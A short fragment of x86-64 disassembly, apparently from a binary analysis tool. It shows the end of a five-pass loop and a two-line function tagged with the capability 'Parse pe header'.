call fcn.140001320
inc rbx
cmp rbx, 5
jl 0x140001280
xor eax, eax
add rsp, 0x188
pop r13
pop rdi
pop rbx
pop rbp
ret

Function at 0x1400054c4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400052f0